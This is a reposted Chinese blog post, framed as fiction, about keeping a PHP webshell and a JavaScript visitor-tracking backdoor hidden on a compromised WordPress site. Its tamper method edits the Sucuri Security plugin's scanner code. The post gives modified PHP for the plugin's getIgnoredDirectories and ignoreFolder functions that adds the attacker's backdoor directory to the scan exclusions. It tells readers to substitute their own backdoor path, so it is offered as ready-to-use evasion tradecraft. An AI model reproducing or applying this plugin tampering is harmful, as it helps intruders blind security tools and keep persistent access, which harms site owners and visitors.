护马之战 sucuriscan 插件的绕过查杀
2019-07-11 14:24:36 Author: mp.weixin.qq.com(查看原文) 阅读量:18 收藏

温馨提示

如果你喜欢本文,请分享到朋友圈,想要获得更多信息,请关注我。

以下故事,纯属虚构,如有雷同,加我微信

话说某日,老N接到一个业务,帮撸某国外大麻销售网站,做个访客记录劫持,方便GOV们对这些买家的情况做下劫持。

我们看下流量,的确是夸张到可怕。但是后门只放了一天,就被对方发现了。

利用之前漏洞留的密码账号,我们继续有权限进入后台,但是基本上对网站上的文件的修改,总是第一时间被发现。

如何保住马呢?

先进后台看怎么查

老N利用仅存的悄悄添加的一个后台管理账号进入系统后台

做为WP几年玩家,留意到一个安全插件sucuri security

我们点开看看

这里把老N的PHP后门一锅端了

然后看下JS记录用户地理位置的后门

也都记录在案。

估摸这个是通过对比正常WP文件进行查杀

查看是否有白名单机制

Setting部分,是这款插件的配置部分,有个Scanner扫描设置,可以配置扫码的设置

可以对路径和文件进行排除

这个时候思路就有了,通过修改文件的代码,把排除的文件直接修改进去,不通过后台的设置,这样规避他们的扫描

下载插件进行分析

我们先本机下载这个插件,查找关键的代码处。

本机搭建,顺便安装插件做个测试

先抓包,看POST了什么数据

sucuriscan_ignorefolder  追踪下载的插件数据,查看这里是怎么存储的。

没有明显的SQL存储的?

查找一下,真的没进SQL数据库,那么只能从文件了。

用工具查一下

/wp-content/uploads/sucuri/sucuri-ignorescanning.php

原来是存储到这个路径。我们继续看是如何调用这个文件呢?

我们看下插件的src目录,里面有个scanner有关的PHP

fsscanner.lib.php

打开文件,里面有个代码段

public static function getIgnoredDirectories()

    {

        $response = array(

            'raw' => array(),

            'checksums' => array(),

            'directories' => array(),

            'ignored_at_list' => array(),

        );

        $cache = new SucuriScanCache('ignorescanning');

        $cache_lifetime = 0; // It is not necessary to expire this cache.

        $entries = $cache->getAll($cache_lifetime, 'array');

        if ($entries) {

            $response['raw'] = $entries;

            foreach ($entries as $checksum => $data) {

                if (isset($data['directory_path']) && isset($data['ignored_at'])) {

                    $response['checksums'][] = $checksum;

                    $response['directories'][] = $data['directory_path'];

                    $response['ignored_at_list'][] = $data['ignored_at'];

                }

            }

        }

        return $response;

    }

核心代码找到了,我们怎么修改呢?

直接return $response前面加一段

$arraya = array(

    "directory_path"    => "wp-content",

    "ignored_at"  => 1562818372,

    "resource_type"  => "unknown", 

);

$arrayb= array(

    "6a88b53453fe3f1cc5670295d7979541"    =>$arraya

);

 if ($arrayb) {

            $response['raw'] = $arrayb;

            foreach ($arrayb as $checksum => $data) {

                if (isset($data['directory_path']) && isset($data['ignored_at'])) {

                    $response['checksums'][] = $checksum;

                    $response['directories'][] = $data['directory_path'];

                    $response['ignored_at_list'][] = $data['ignored_at'];

                }

            }

        }

不过测试的时候,发现,这个只是后台读取的

我们继续跟进这个代码,看哪里有调用

看来此处就是关键了

我们看到代码中有

  private function ignoreFolder($path)

    {

        $content = basename(WP_CONTENT_DIR);

        return (bool) ($this->ignore_directories && (

            strpos($path, '/.hg') !== false

            || strpos($path, '/.git') !== false

            || strpos($path, '/.svn') !== false

            || strpos($path, $content . '/backup') !== false

            || strpos($path, $content . '/cache') !== false

            || strpos($path, $content . '/uploads') !== false

            || strpos($path, $content . '/w3tc') !== false

        ));

    }

这里可以动手脚

其次,我们看下调用上面代码“getIgnoredDirectories”的那个地方

也是通过那个ignoreFolder来判定

那么我们怎么弄呢?

直接修改插件目录的src下的fileinfo.lib.php

使用时,把wp-content改成你后门存放的路径即可

     */

    private function ignoreFolder($path)

    {

        $content = basename(WP_CONTENT_DIR);

        return (bool) ($this->ignore_directories && (

            strpos($path, '/.hg') !== false

            || strpos($path, '/.git') !== false

            || strpos($path, '/.svn') !== false

            || strpos($path, $content . '/backup') !== false

            || strpos($path, $content . '/cache') !== false

            || strpos($path, $content . '/affadsense') !== false

            || strpos($path, $content . '/w3tc') !== false

        ));

    }

把我们的目标路径加进去就行啦~

再也不用担心我的马子被sucuri检测了

所谓道高一尺魔高一丈,上有政策下有对策,遇到对的网站,你再怎么弄,都是无济于事的,发现异常,不如隔盘吧。

以上,该是去所里喝茶的时间了,文章有点长,也有点菜,见谅

码字不易,您的转发和赞赏是我的一大动力之一。

欢迎关注我的公众号,请爱护我,不要抄袭我。

欢迎加入我的论坛,与我们一起交流。

下面是加入小密圈/获取论坛邀请码购买渠道:

小密圈(入圈后私信圈主,看到会私信邀请码):

其他获取方式:

支付宝:

微信支付:


文章来源: http://mp.weixin.qq.com/s?__biz=MzIyNTIyNTU4NA==&mid=2247484914&idx=1&sn=9e3980af2251c33a54fe9de136d28e47&chksm=e803bbeddf7432fb7c74728cc162939936e5d998cddcc9534ccb0d1cc36eeb3bbbabf00b1350#rd
如有侵权请联系:admin#unsafe.sh